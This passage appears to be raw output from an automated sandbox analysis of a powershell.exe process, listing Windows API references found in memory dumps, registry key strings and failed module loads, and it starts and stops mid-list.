"00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp, 00000000-00005784.00000001.143823.62200000.00000004.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "DeleteTimerQueueTimer"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectoryW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "SystemTimeToFileTime"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "LocalFileTimeToFileTime"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "CompareFileTime"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "GetEnvironmentVariableW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "GetLocalTime"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThread"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "SetFileAttributesW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "RemoveDirectoryW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "GetProcessTimes"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "CopyFileW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount64"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "OpenServiceW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "QueryServiceStatus"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "CloseServiceHandle"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "OpenSCManagerW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "QueryServiceConfigW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "LookupAccountSidW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "GetLengthSid"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "CopySid"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "ReportEventW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "RegisterEventSourceW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "ConvertStringSidToSidW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "DeregisterEventSource"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "OpenThreadToken"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "GetTokenInformation"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "ChangeServiceConfigW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "InitializeAcl"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "StartServiceW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "FreeSid"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "CheckTokenMembership"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "IIDFromString"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "IsWindow"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "GetLastActivePopup"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "NdrClientCall3"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "UuidCreate"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "UuidToStringW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "UuidFromStringW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "CertVerifyCertificateChainPolicy"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "GetFileSizeEx"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp") Found reference to API (Indicator: "CreateTimerQueueTimer"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSemaphore"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "SetEnvironmentVariableW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "OpenEventW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "OpenFileMappingW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp") Found reference to API (Indicator: "DuplicateHandle"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "CreateSemaphoreW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "VirtualQuery"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "DisableThreadLibraryCalls"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp") Found reference to API (Indicator: "VirtualLock"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "GetQueuedCompletionStatus"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "PostQueuedCompletionStatus"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "CreateIoCompletionPort"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp") Found reference to API (Indicator: "TlsSetValue"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "TlsAlloc"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "TlsGetValue"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "TlsFree"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp") Found reference to API (Indicator: "TryEnterCriticalSection"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "DuplicateToken"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "SetEntriesInAclW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "RegEnumValueW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteValueW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyExW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteKeyW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "RegQueryInfoKeyW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "RegNotifyChangeKeyValue"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "CoGetObject"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "FindResourceW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp") Found reference to API (Indicator: "CancelSynchronousIo"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolWork"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpool"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "StartThreadpoolIo"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpool"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolIo"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolIoCallbacks"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolTimerCallbacks"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "CancelThreadpoolIo"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolWorkCallbacks"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolThreadMinimum"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolWait"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolWaitCallbacks"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolThreadMaximum"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolTimer"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolWait"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolTimer"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolWait"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolTimer"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolIo"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "SubmitThreadpoolWork"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolWork"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "HeapCreate"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "HeapValidate"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "HeapDestroy"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "VirtualProtect"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExA"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSRWLockExclusive"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "AcquireSRWLockExclusive"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp") Found reference to API (Indicator: "RtlGetVersion"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeExW"; Source: "00000000-00005784.00000000.143702.2D832000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemFree"; Source: "00000000-00005784.00000000.143702.2D832000.00000002.mdmp") Found reference to API (Indicator: "StringFromGUID2"; Source: "00000000-00005784.00000000.143702.2D832000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathW"; Source: "00000000-00005784.00000000.143702.2D832000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00005784.00000000.143702.2D832000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "CoInitialize"; Source: "00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "RegGetValueW"; Source: "00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "VerSetConditionMask"; Source: "00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "VerifyVersionInfoW"; Source: "00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleTitleW"; Source: "00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDefaultUILanguage"; Source: "00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "FindResourceExW"; Source: "00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API (Indicator: "SetErrorMode"; Source: "00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp")30:T82a,"SOFTWARE\Policies\Microsoft" in Source: 00000000-00005784.00000000.143702.21AA8000.00000002.mdmp "HKLM\" in Source: 00000000-00005784.00000000.143702.21AA8000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\OOBE\Stats" in Source: 00000000-00005784.00000000.143702.21AA8000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005784.00000000.143702.21AA8000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Server\ServerLevels" in Source: 00000000-00005784.00000000.143702.21AA8000.00000002.mdmp "try\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00005784.00000000.143702.47AA0000.00000004.mdmp 00000000-00005784.00000001.143823.47AA0000.00000004.mdmp "y\Machine\Software\Classes\AppID\powershell.exe" in Source: 00000000-00005784.00000000.143702.47AA0000.00000004.mdmp 00000000-00005784.00000001.143823.47AA0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00005784.00000000.143702.47AA0000.00000004.mdmp 00000000-00005784.00000001.143823.47AA0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00005784.00000000.143702.47AA0000.00000004.mdmp 00000000-00005784.00000001.143823.47AA0000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp31:Tc29,"powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module 